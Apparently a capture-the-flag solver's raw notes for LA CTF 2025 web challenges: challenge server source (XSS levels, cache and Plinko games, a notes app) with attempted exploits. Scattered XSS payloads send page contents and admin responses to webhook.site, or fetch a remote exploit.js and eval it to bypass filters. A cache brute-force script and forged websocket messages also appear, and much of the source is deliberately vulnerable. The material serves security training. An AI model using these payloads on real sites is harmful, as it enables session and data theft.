LA CTF 2025

<img src=x onerror=alert(1); />

app.get('/admin', (req, res) => {
    if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
        return res.redirect("/");
    }
    return res.json({ trade_plan: FLAG });
});

<img src=x onerror="fetch('https://mavs-fan.chall.lac.tf/admin').then(response => response.text()).then(data => console.log(data))" />

<img src=x onerror="fetch('https://mavs-fan.chall.lac.tf/admin').then(response => response.text()).then(data => fetch('https://webhook.site/e5799148-b55d-49e8-b89b-987a28176905/?content='+JSON.stringify(data)))" />

const express = require('express');
const cookieParer = require('cookie-parser');
const path = require('path');
const fs = require('fs');

const port = process.env.PORT ?? 3000;
const testflag = (n) => `purell-token{xss_guru_${n}}`;

const app = express();

app.use(cookieParer());
app.use('/', express.static(path.join(__dirname, 'site')));


// id, flag, flagpart, and adminpw have been changed from the actual challenge
const levels = [
  {
    id: 'start',
    name: 'A Friendly Warmup',
    flag: 'TOKEN1',
    flagpart: 'hi',
    adminpw: 'ADMIN1',
    sanitizer: (html) => html
  },
  {
    id: 'two',
    name: 'no scripts allowed fr fr',
    flag: 'TOKEN2',
    flagpart: 'hi',
    adminpw: 'ADMIN2',
    sanitizer: (html) => html.includes('script') || html.length > 150 ? 'nuh-uh' : html
  },
  {
    id: 'three',
    name: 'NO MORE XSS PLEASE',
    flag: 'TOKEN3',
    flagpart: 'hi',
    adminpw: 'ADMIN3',
    sanitizer: (html) => html.includes('script') || html.includes('on') || html.length > 150 ? 'nuh-uh' : html
  },
  {
    id: 'four',
    name: 'ok now yall are cooked, no more scripts or on',
    flag: 'TOKEN4',
    adminpw: 'ADMIN4',
    flagpart: 'hi',
    sanitizer: (html) => html.toLowerCase().replaceAll('script', '').replaceAll('on', '')
  },
  {
    id: 'five',
    name: 'screw it no more html for yall',
    flag: 'TOKEN5',
    flagpart: 'hi',
    adminpw: 'ADMIN5',
    sanitizer: (html) =>
      html
        .toLowerCase().replaceAll('script', '').replaceAll('on', '')
        .replaceAll('>', '')
  },
  {
    id: 'six',
    name: 'no whitespace, no nothing',
    flag: 'TOKEN6',
    flagpart: 'hi',
    adminpw: 'ADMIN6',
    sanitizer: (html) =>
      html
        .toLowerCase().replaceAll('script', '').replaceAll('on', '')
        .replaceAll('>', '')
        .replace(/\s/g, '')
  },
  {
    id: 'seven',
    name: 'no parenthesis :megamind:',
    flag: 'TOKEN7',
    flagpart: 'hi',
    adminpw: 'ADMIN7',
    sanitizer: (html) =>
      html
        .toLowerCase().replaceAll('script', '').replaceAll('on', '')
        .replaceAll('>', '')
        .replace(/\s/g, '')
        .replace(/[()]/g, '')
  },
  {
    id: 'end',
    name: 'Congrats on receiving all the flags parts! Submit for points.',
    flag: '',
    adminpw: 'ADMIN8',
    flagpart: 'hi',
    sanitizer: (html) => ''
  }
];

const lmap = new Map(levels.map((l, i) => ([l.id, { n: i, ...l }])));
console.log(new Map(levels.map((l, i) => ([l.id, l.adminpw]))))
app.get('/level/:levelid', (req, res) => {
  const level = lmap.get(req.params.levelid);
  const html = req.query.html ?? '';

  if (!level) {
    res.redirect('/level/start');
    return;
  }
  const isAdmin = req.cookies.adminpw === level.adminpw;
  if (!isAdmin && req.cookies.adminpw) {
    res.clearCookie("adminpw");
    res.send("Adminbot visited wrong endpoint. If you are not the admin bot, reload the page.")
    return;
  }
  const template = fs.readFileSync(path.join(__dirname, 'site/level.html')).toString();
  const resp = template
    .replaceAll('$level$', level.n.toString())
    .replaceAll('$flag$', isAdmin ? level.flag : testflag(level.n))
    .replaceAll('$sanitizer$', level.sanitizer.toString())
    .replaceAll('$name$', level.name)
    .replaceAll('$html$', level.sanitizer(html));
  res.send(resp);
});

app.get('/flag', (req, res) => {
  const flag = req.query.flag;

  if (flag.includes('xss_guru')) {
    res.send('You seem to have submitted the testing token, please send a link to the admin bot and submit the real token instead');
    return;
  }

  for (let i = 0; i < levels.length; ++i) {
    const level = levels[i];
    if (level.flag === flag) {
      const template = fs.readFileSync(path.join(__dirname, 'site/nextlevel.html')).toString();
      res.send(template.replaceAll('$redir$', `/level/${levels[i + 1].id}`).replaceAll('$part$', `${i + 1}`).replaceAll("$flagpart$", `${levels[i].flagpart}`));
      return;
    }
  }
  res.send('Incorrect token');
});

app.listen(port, () => {
  console.log(`Listening on http://localhost:${port}`);
});

<script>console.log(encodeURIComponent(document.body.innerHTML))</script>

<script>fetch('https://webhook.site/e5799148-b55d-49e8-b89b-987a28176905/?c='+encodeURIComponent(document.body.innerHTML))</script>

<img src=x onerror=fetch('https://webhook.site/e5799148-b55d-49e8-b89b-987a28176905/?c='+encodeURIComponent(document.body.innerHTML)) />

<Script>fetch('https://webhook.site/e5799148-b55d-49e8-b89b-987a28176905/?c='+encodeURI(document.body.innerHTML))</Script>

<img src=x oonnerror="fetch('https://9288206c-d9c3-4819-83d6-28c85eb8d228-00-1nbm4b0t9pkbs.spock.replit.dev/exploit.js').then(response=>response.text()).then(data=>coonnsole.log(data))" />

<img src=x oonnerror="fetch('https://9288206c-d9c3-4819-83d6-28c85eb8d228-00-1nbm4b0t9pkbs.spock.replit.dev/exploit.js').then(r=>r.text()).then(data=>eval(data))" />

<img src=x oonnerror="fetch('https://9288206c-d9c3-4819-83d6-28c85eb8d228-00-1nbm4b0t9pkbs.spock.replit.dev/exploit.js').then(r=&gt;r.text()).then(data=&gt;eval(data))" /

<img/src="x"/oonnerror="fetch('https://9288206c-d9c3-4819-83d6-28c85eb8d228-00-1nbm4b0t9pkbs.spock.replit.dev/exploit.js').then(r=&gt;r.text()).then(data=&gt;eval(data))"/

<img/src="x"/oonnerror="fetch&#x28;'https://9288206c-d9c3-4819-83d6-28c85eb8d228-00-1nbm4b0t9pkbs.spock.replit.dev/exploit.js'&#x29;.then&#x28;r=&gt;r.text&#x28;&#x29;&#x29;.then&#x28;data=&gt;eval&#x28;data&#x29;&#x29;" /

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const { openings } = require('./openings.js');

const port = process.env.PORT ?? 3000;
const flag = process.env.FLAG ?? 'lactf{owo_uwu}';
const adminpw = process.env.ADMINPW ?? 'adminpw';
const challdomain = process.env.CHALLDOMAIN ?? 'http://localhost:3000/';

openings.forEach((op) => (op.premium = false));
openings.push({ premium: true, name: 'flag', moves: flag });

const lookup = new Map(openings.map((op) => [op.name, op]));

app = express();

app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, '../frontend/dist')));
app.use(express.json());

app.get('/render', (req, res) => {
  const id = req.query.id;
  const op = lookup.get(id);
  res.send(`
    <p>${op?.name}</p>
    <p>${op?.moves}</p>
  `);
});

app.post('/search', (req, res) => {
  if (req.headers.referer !== challdomain) {
    res.send('only challenge is allowed to make search requests');
    return;
  }
  const q = req.body.q ?? 'n/a';
  const hasPremium = req.cookies.adminpw === adminpw;
  for (const op of openings) {
    if (op.premium && !hasPremium) continue;
    if (op.moves.includes(q) || op.name.includes(q)) {
      return res.redirect(`/render?id=${encodeURIComponent(op.name)}`);
    }
  }
  return res.send('lmao nothing');
});

app.listen(port, () => {
  console.log(`Listening on http://localhost:${port}`);
});

from flask import Flask, request, jsonify, g, Blueprint, Response, redirect
import uuid
from flask_caching import Cache
import os
import mariadb
import datetime

app = Flask(__name__)

# Configure caching (simple in-memory cache)
app.config["CACHE_TYPE"] = "RedisCache"
app.config["CACHE_REDIS_HOST"] = os.getenv("CACHE_REDIS_HOST", "redis")
app.config["CACHE_DEFAULT_TIMEOUT"] = 604800  # Cache expires in 7 days
cache = Cache(app)


def get_db_connection():
    try:
        conn = mariadb.connect(
            host=os.getenv("DATABASE_HOST"),
            user=os.getenv("DATABASE_USER"),
            password=os.getenv("DATABASE_PASSWORD"),
            database=os.getenv("DATABASE_NAME"),
        )
        return conn
    except mariadb.Error as e:
        return {"error": str(e)}


# I'm lazy to do this properly, so enjoy this ChatGPT'd run_query function!
def run_query(query, params=None):
    conn = get_db_connection()
    if isinstance(conn, dict):
        return conn

    try:
        cursor = conn.cursor(dictionary=True)
        cursor.execute(query, params or ())

        conn.commit()
        result = {
            "success": True,
            "affected_rows": cursor.rowcount,
            "result": cursor.fetchall(),
        }

        return result
    except mariadb.Error as e:
        print("ERROR:", e, flush=True)
        return {"error": str(e)}
    finally:
        cursor.close()
        conn.close()


@app.route("/")
def index():
    if "id" not in request.cookies:
        unique_id = str(uuid.uuid4())
        run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))
    else:
        unique_id = request.cookies.get("id")
        res = run_query("SELECT * FROM users WHERE id = %s;", (unique_id,))
        print(res, flush=True)
        if "affected_rows" not in res:
            print("ERRROR:", res)
            return "ERROR"
        if res["affected_rows"] == 0:
            unique_id = str(uuid.uuid4())
            run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>{unique_id}</title>
    </head>
    <body>
        <h1>Your unique account ID: {unique_id}</h1>
        <p><a href="/check?uuid={unique_id}">Click here to check if you are a winner!</a></p>
    </body>
    </html>
    """
    r = Response(html)
    r.set_cookie("id", unique_id)
    return r


def normalize_uuid(uuid: str):
    uuid_l = list(uuid)
    i = 0
    for i in range(len(uuid)):
        uuid_l[i] = uuid_l[i].upper()
        if uuid_l[i] == "-":
            uuid_l.pop(i)
            uuid_l.append(" ")

    return "".join(uuid_l)


def make_cache_key():
    return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64]  # prevent spammers from filling redis cache


check_bp = Blueprint("check_bp", __name__)


@check_bp.route("/check")
@cache.cached(timeout=604800, make_cache_key=make_cache_key)
def check():
    user_uuid = request.args.get("uuid")
    if not user_uuid:
        return {"error": "UUID parameter is required"}, 400

    run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,))
    res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
    g.cache_hit = False
    if "affected_rows" not in res:
        print("ERRROR:", res)
        return "Error"
    if res["affected_rows"] == 0:
        return "Invalid account ID"
    num_wins = res["result"][0]["value"]
    if num_wins >= 100:
        return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
    return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
    <p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>"""


# Hack to show to the user in the X-Cached header whether or not the response was cached
# How in the world does the flask caching library not support adding this header?????
@check_bp.after_request
def add_cache_header(response):
    if hasattr(g, "cache_hit") and not g.cache_hit:
        response.headers["X-Cached"] = "MISS"
    else:
        response.headers["X-Cached"] = "HIT"

    g.cache_hit = True

    return response


app.register_blueprint(check_bp)


# Debugging use for dev - remove before prod
# @app.route("/clear")
# def clear():
#     cache.clear()
#     return "cache cleared!"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

def normalize_uuid(uuid: str):
    uuid_l = list(uuid)
    i = 0
    for i in range(len(uuid)):
        uuid_l[i] = uuid_l[i].upper()
        if uuid_l[i] == "-":
            uuid_l.pop(i)
            uuid_l.append(" ")

    return "".join(uuid_l)


def make_cache_key():
    return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64]  # prevent spammers from filling redis cache

import requests
url = "https://cache-it-to-win-it.chall.lac.tf/check?uuid=ad53251d-3cc9-41b2-af95-44f7b787ce06"
for i in range(20):
    url2 = url
    for j in range(10):
        url2 += str('%'+'%02d'%i)
        r = requests.get(url2)
        print(r.text)

// server.js
const Matter = require('matter-js');
const express = require('express');
const WebSocket = require('ws');
const session = require('express-session')
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const cors = require('cors');
const app = express();
app.use(cors());
const flag = process.env.FLAG || 'lactf{test_flag}';

const port = 3000;

const SECRET_KEY = crypto.randomBytes(16).toString('hex');
app.use(express.json());
const sessionMiddleware = session({
    secret: SECRET_KEY,
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false }
  });
app.use(sessionMiddleware);
app.use(express.static("public", {index: false})); // Serve static files

const users = {};

// Signup endpoint
app.post("/signup", (req, res) => {
    const { username, password } = req.body;
    if (!username || !password || typeof(username)!=='string' || typeof(password)!=='string') return res.status(400).json({ error: "Missing fields" });
    if (users[username]) return res.status(400).json({ error: "User already exists" });

    users[username] = { "password": password, points: 10000}; // Store user
    req.session['user'] = username;
    res.json({ message: "Signup successful" });
});

// Login endpoint
app.post("/login", (req, res) => {
    const { username, password } = req.body;
    if (typeof(username)!=='string' || typeof(password)!=='string' || !users[username] || users[username].password !== password) {
        return res.status(401).json({ error: "Invalid credentials" });
    }
    req.session['user'] = username;
    res.json({ message: "Login successful"});
});

const timeInterval = 16.666666666; // how often the ball's position is updated
const g = 0.27777777777; // our gravity constant

// the set positions of all pins
const pinPositions = [];
for (let row=5; row<16; row++) {
    const middleSpace = 65*(row-1);
    const frontPad = (1000-middleSpace)/2
    for (let pin=0; pin<row; pin++) {
        pinPositions.push({'x': pin*65+frontPad, 'y': (row-4)*85-10});
    }
}
pinPositions.push({'x': 190, 'y': 480});
pinPositions.push({'x': 810, 'y': 480});
pinPositions.push({'x': 500, 'y': 1000});
const leftWall = Matter.Bodies.rectangle(190, 480, 1, 1100, {isStatic: true, angle: Math.PI/8.6});
const rightWall = Matter.Bodies.rectangle(810, 480, 1, 1100, {isStatic: true, angle: -Math.PI/8.6});

function calcPositionDiff(time, v1) {
    let t = 0;
    let v = v1+g;
    let pos = 0;
    while (t<=time-1) {
        pos+=v;
        v+=g;
        t+=timeInterval;
    }
    return pos;
}

function socketSend(ws, data) {
    try {
        if (ws.readyState === WebSocket.OPEN) {
            ws.send(data, (err) => {
                if (err) {
                    console.error("Error sending message:", err);
                }
            });
        } else {
            console.error("WebSocket is not open. ReadyState:", ws.readyState);
        }
    } catch (error) {
        console.error("WebSocket send failed:", error);
    }
}

// validation function; checks that the trajectory the user passed in matches with the velocity vector from the previous collision
function validatePosition(prevCollision, prevVelo, prevTime, currCollision, currVelo, currTime) {
    if (typeof(prevTime)!=='number' || typeof(currTime)!=='number') return false;
    if (!('x' in prevCollision) || !('y' in prevCollision) || !('x' in prevVelo) || !('y' in prevVelo) || !('x' in currCollision) || !('y' in currCollision) || !('x' in currVelo) || !('y' in currVelo)) return false;
    if (Math.abs(prevVelo.x-currVelo.x)>0.001) {
        return false;
    }
    const t = (currTime-prevTime);
    const posChange = calcPositionDiff(t, prevVelo.y);
    const veloChange = timeInterval*t/1000;

    const newYVelo = veloChange+prevVelo.y;
    const newYPos = posChange+prevCollision.y;

    if (Math.abs(newYVelo-currVelo.y)>0.001) {

        return false;
    }
    if (Math.abs(newYPos-currCollision.y)>0.001) {
        return false;
    }
    return true;
}

function hittingWall(position) {
    const ball = Matter.Bodies.circle(position.x, position.y, 10);
    const hitLeft = Matter.Collision.collides(ball, leftWall);
    const hitRight = Matter.Collision.collides(ball, rightWall);
    return hitLeft!==null || hitRight!==null;
}

const wss = new WebSocket.Server({ noServer: true });
// landing zone money multipliers
const multipliers = [
    10.0, 6.24, 3.66, 1.98, 0.95, 0.39, 0.12, 0.02, 0.0015, 0.0, 
    0.0015, 0.02, 0.12, 0.39, 0.95, 1.98, 3.66, 6.24, 10.0
  ];
wss.on('connection', (ws, req) => {
  try {
    let prevCollision;
    let prevVelo;
    let prevTime;

    ws.on('message', (message) => {
        let msgData;
       
        try {
            msgData = JSON.parse(message);
        }
        catch(e) {
            return;
        }
        const msgType = msgData.msgType;

        // user dropped a ball
        if (msgType=='join') {
            if (msgData.ballPos.x!=500) {
                socketSend(ws, JSON.stringify({error: "Stop cheating"}), () => ws.close());
               
            }
            prevCollision = msgData.ballPos;
            prevVelo = msgData.ballVelo;
            prevTime = msgData.time;
            if (!req.session.user || !req.session['user'] || !(users[req.session['user']])) {
                socketSend(ws, JSON.stringify({error: "Not logged in"}), () => ws.close());
            }
            else  {
                if (users[req.session['user']].points<100) {
                    socketSend(ws, JSON.stringify({error: "Not enough money"}), () => ws.close());
                }
                socketSend(ws, JSON.stringify({ message: 'Welcome to the Plinko game!' }));
                users[req.session['user']].points-=100;
            }
            return;
        }

        const ballPos = msgData.position;
        const pinPos = msgData.obsPosition;
        const initialV = msgData.velocity;
        const time = msgData.time;
        if (!ballPos || !pinPos || !initialV || !req.session['user'] || !(users[req.session['user']])) {
            return;
        }
        // validating your given trajectory
        let result = validatePosition(prevCollision, prevVelo, prevTime, ballPos, initialV, time);

        // checking that you're actually hitting an obstacle
        if (Matter.Vector.magnitude(Matter.Vector.sub(ballPos, pinPos))>15) {
            // check if it's hitting a wall or the ground
            let hitting = hittingWall(ballPos);
            if (hitting==false && pinPos.y!=1000) result = false;

        }
        // check that there's really an obstacle in the place you said
        if (!pinPositions.find(position => position.x===pinPos.x && position.y===pinPos.y)) result = false;

        // you cheated
        if (!result) {
            socketSend(ws, JSON.stringify({"error": "Stop cheating!!"}), () => ws.close());
            return;
        }

        if (pinPos.x==500 && pinPos.y==1000) {
            // ground
            let index = Math.floor(ballPos.x/(1000/19));
            if (index<0) index=0;
            if (index>=multipliers.length) index = multipliers.length-1;
            let points = multipliers[index]*100;
            users[req.session['user']].points +=points;
            if (users[req.session['user']].points>10000) socketSend(ws, points+flag, () => ws.close());
            else socketSend(ws, points, () => ws.close());
        }

        let normal;
        if (pinPos.x==190 && pinPos.y==480) {
            // left wall
            normal = Matter.Vector.create(1, -0.38142587779);
        }
        else if (pinPos.x==810 && pinPos.y==480) {
            // right wall
            normal = Matter.Vector.create(1, 0.38142587779);
        }
        else {
            normal = Matter.Vector.sub(ballPos, pinPos);
        }
        normal = Matter.Vector.normalise(normal);

        // Compute the normal component of velocity
        let dotProduct = Matter.Vector.dot(initialV, normal);
        let vNormal = Matter.Vector.mult(normal, dotProduct);

        let vTangent = Matter.Vector.sub(initialV, vNormal);

        let vNormalReflected = Matter.Vector.neg(vNormal);
        let resultantVelocity = Matter.Vector.mult(Matter.Vector.add(vTangent, vNormalReflected), 0.6);
        resultantVelocity = Matter.Vector.rotate(resultantVelocity, Math.random()*0.32-0.16);

        prevCollision = ballPos;
        prevVelo = resultantVelocity;
        prevTime = time;
        // send the resultant velocity of the collision
        socketSend(ws, JSON.stringify(resultantVelocity))
    });

    // Send a welcome message to the client

  } catch (error) {
    ws.close();
  }
});
app.get("/", (req, res) => {
    if (!req.session || !req.session.user || !(req.session.user in users)) {
        return res.redirect("/login"); 
    }
    fs.readFile(path.join(__dirname, "public", "index.html"), "utf8", (err, data) => {
        const money = users[req.session.user].points || 0; // Default to 0 if user not found
        const filledHtml = data.replace("{{money}}", money);
        res.send(filledHtml);
    });
});
app.get("/signup", (req, res) => res.sendFile(path.join(__dirname, "public", "signup.html")));
app.get("/login", (req, res) => res.sendFile(path.join(__dirname, "public", "login.html")));

app.server = app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});

// Attach WebSocket server to Express server
app.server.on('upgrade', (request, socket, head) => {
    sessionMiddleware(request, {}, () => {
        wss.handleUpgrade(request, socket, head, (ws) => {
            wss.emit('connection', ws, request);
        });
    });
});

if (msgType=='join') {
    if (msgData.ballPos.x!=500) {
        socketSend(ws, JSON.stringify({error: "Stop cheating"}), () => ws.close());

    }
    prevCollision = msgData.ballPos;
    prevVelo = msgData.ballVelo;
    prevTime = msgData.time;
    if (!req.session.user || !req.session['user'] || !(users[req.session['user']])) {
        socketSend(ws, JSON.stringify({error: "Not logged in"}), () => ws.close());
    }
    else  {
        if (users[req.session['user']].points<100) {
            socketSend(ws, JSON.stringify({error: "Not enough money"}), () => ws.close());
        }
        socketSend(ws, JSON.stringify({ message: 'Welcome to the Plinko game!' }));
        users[req.session['user']].points-=100;
    }
    return;
}

{
    "msgType": "join",
    "ballPos": {
        "x": 500,
        "y": 1000
    },
    "ballVelo": {
        "x": 0,
        "y": 0
    },
    "time": 0
}

{
    "msgType":"collision",
    "velocity":{
        "x":0,
        "y":0
    },
    "position":{
        "x":0,
        "y":1000
    },
    "obsPosition":{
        "x":500,
        "y":1000
    },
    "time":0
}

const crypto = require('crypto');
const path = require('path');
const express = require('express');
const cookieParser = require('cookie-parser');
const { init: initDb, sql} = require('secure-sqlite');

const port = process.env.PORT ?? 3000;
const adminpw = process.env.ADMINPW ?? crypto.randomBytes(16).toString('hex');
const flag = process.env.FLAG ?? 'lactf{test_flag_owo}';

initDb(':memory:');
sql`CREATE TABLE users (
  username TEXT PRIMARY KEY,
  password TEXT,
  arcs INT
)`;
sql`CREATE TABLE sessions (id INT PRIMARY KEY, username TEXT)`;
sql`INSERT INTO users VALUES ('admin', ${adminpw}, 100)`;
console.log(sql`SELECT * FROM users`);

const app = express();

app.use('/', express.static(path.join(__dirname, 'site')));

app.use(cookieParser());
app.use(express.json());

app.use((req, res, next) => {
  const sessId = parseInt(req.cookies.session);
  if (!isNaN(sessId)) {
    const sessions = sql`SELECT username FROM sessions WHERE id=${sessId}`;
    if (sessions.length > 0) {
      res.locals.user = sql`SELECT * FROM users WHERE username=${sessions[0].username}`[0];
    }
  }
  next();
});

app.post('/register', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  if (!username || typeof username !== 'string') {
    res.status(400).json({ err: 'provide a username owo' });
    return;
  }

  if (!password || typeof password !== 'string') {
    res.status(400).json({ err: 'provide a password uwu' });
    return;
  }

  const existing = sql`SELECT * FROM users WHERE username=${username}`;
  if (existing.length > 0) {
    res.status(400).json({ err: 'user already exists' });
    return;
  }

  sql`INSERT INTO users VALUES (${username}, ${password}, 10)`;
  const id = crypto.randomInt(281474976710655);
  sql`INSERT INTO sessions VALUES (${id}, ${username})`;
  res
    .cookie('session', id)
    .json({ success: true });
});

app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  if (!username || typeof username !== 'string') {
    res.status(400).json({ err: 'provide a username owo' });
    return;
  }

  if (!password || typeof password !== 'string') {
    res.status(400).json({ err: 'provide a password uwu' });
    return;
  }

  const existing = sql`SELECT * FROM users WHERE username=${username}`;
  if (existing.length == 0 || existing[0].password !== password) {
    res.status(400).json({ err: 'invalid login' });
    return;
  }

  const id = crypto.randomInt(281474976710655);
  sql`INSERT INTO sessions VALUES (${id}, ${username})`;
  res
    .cookie('session', id)
    .json({ success: true });
});

app.post('/brew', (req, res) => {
  if (!res.locals.user) {
    res.status(400).json({ err: 'please login' });
    return;
  }

  const { arcs, username } = res.locals.user;

  if (arcs < 2) {
    res.json({ broth: 'no-arcs', arcs });
  } else if (arcs < 50) {
    sql`UPDATE users SET arcs=${arcs - 2} WHERE username=${username}`;
    res.json({ broth: 'standard', arcs: arcs - 2 });
  } else {
    sql`UPDATE users SET arcs=${arcs - 50} WHERE username=${username}`;
    res.json({ broth: flag, arcs: arcs - 50 });
  }
});

app.post('/replenish', (req, res) => {
  if (!res.locals.user) {
    res.status(400).json({ err: 'please login' });
    return;
  }

  const { username } = res.locals.user;
  const arcs = username === 'admin' ? 100 : 10
  sql`UPDATE users SET arcs=${arcs}`;
  res.json({ success: true, arcs });
});

app.get('/info', (req, res) => {
  res.json(res.locals.user);
});

app.listen(port, () => {
  console.log(`http://0.0.0.0:${port}`);
});

if (arcs < 2) {
    res.json({ broth: 'no-arcs', arcs });
} else if (arcs < 50) {
    sql`UPDATE users SET arcs=${arcs - 2} WHERE username=${username}`;
    res.json({ broth: 'standard', arcs: arcs - 2 });
} else {
    sql`UPDATE users SET arcs=${arcs - 50} WHERE username=${username}`;
    res.json({ broth: flag, arcs: arcs - 50 });
}

sql`CREATE TABLE users (
  username TEXT PRIMARY KEY,
  password TEXT,
  arcs INT
)`;
sql`CREATE TABLE sessions (id INT PRIMARY KEY, username TEXT)`;
sql`INSERT INTO users VALUES ('admin', ${adminpw}, 100)`;

const express = require("express");
const session = require("express-session");
const crypto = require("crypto");
const cookieParser = require("cookie-parser");
const fs = require("fs").promises;

const PORT = 3000;
const app = express();
app.use(express.static("public"));
app.use(express.json());
app.use(cookieParser());
app.use(session(
    {
        secret: process.env.SESSION_SECRET || "default",
        resave: true,
        saveUninitialized: true,
        cookie: {
            httpOnly: true,
            sameSite: "lax",
        },
    }
));

app.use((_, res, next) => {
    res.locals.nonce = crypto.randomBytes(32).toString("base64");
    res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'nonce-${res.locals.nonce}'`);
    next();
});

async function renderTemplate(view, params) {
    const template = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
    const html = Object.entries(params).reduce(
        (p, [k, v]) => p.replace(new RegExp(`{{${k}}}`, "g"), v),
        template
    );

    if (!params.notes) {
        return html;
    }

    return html.replace(
        "{{...notes}}",
        `[${
            params.notes.map(
                n => `'${n.
                    replace(/'/g, "'").
                    replace(/\n/g, "").
                    replace(/\r/g, "").
                    replace(/\\/g, "\\\\")
                    }'`
            ).join(", ")
        }]`);
}

app.get("/", async (req, res) => {
    if (req.session && req.session.username) {
        res.redirect("/profile");
        return;
    }

    res.send(
        await renderTemplate("index", {
            nonce: res.locals.nonce,
        })
    );
});

app.get("/profile", async (req, res) => {
    if (!req.session || !req.session.username) {
        res.redirect("/");
        return;
    }

    res.send(
        await renderTemplate("profile", {
            nonce: res.locals.nonce,
            username: req.session.username,
            notes: req.session.notes || [],
        })
    );
});

app.post("/api/login", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || username.length > 100) {
        res.status(400).send({ success: false });
        return;
    }

    if (!password || typeof password !== "string" || password.length > 100) {
        res.status(400).send({ success: false });
        return;
    }

    req.session.username = username;
    req.session.password = password;
    req.session.notes = [];

    res.send({ success: true });
});

app.post("/api/notes", (req, res) => {
    const { note } = req.body;

    if (!req.session) {
        res.status(401).send({ success: false });
        return;
    }

    if (!note || typeof note !== "string") {
        res.status(400).send({ success: false });
        return;
    }

    if (typeof req.session.notes !== "object" || !Array.isArray(req.session.notes)) {
        req.session.notes = [];
    }

    // We aren't web scale yet! :)
    if (note.length > 15 || req.session.notes.length > 15) {
        res.status(400).send({ success: false });
        return;
    }

    req.session.notes.push(note);

    res.send({ success: true });
});

app.post("/api/logout", (req, res) => {
    if (!req.session) {
        res.status(401).send({ success: false });
        return;
    }

    req.session.destroy();
    res.send({ success: true });
});

app.post("/flag", (req, res) => {
    const ADMIN_PW = process.env.ADMIN_PW || "placeholder";
    const FLAG = process.env.FLAG || "lactf{test_flag}";
    if (req.cookies.secret !== ADMIN_PW) {
        res.status(403).send({ success: false });
        return;
    }

    res.send(FLAG);
});

app.listen(PORT, () => console.log(`Started server at http://localhost:${PORT} ...`));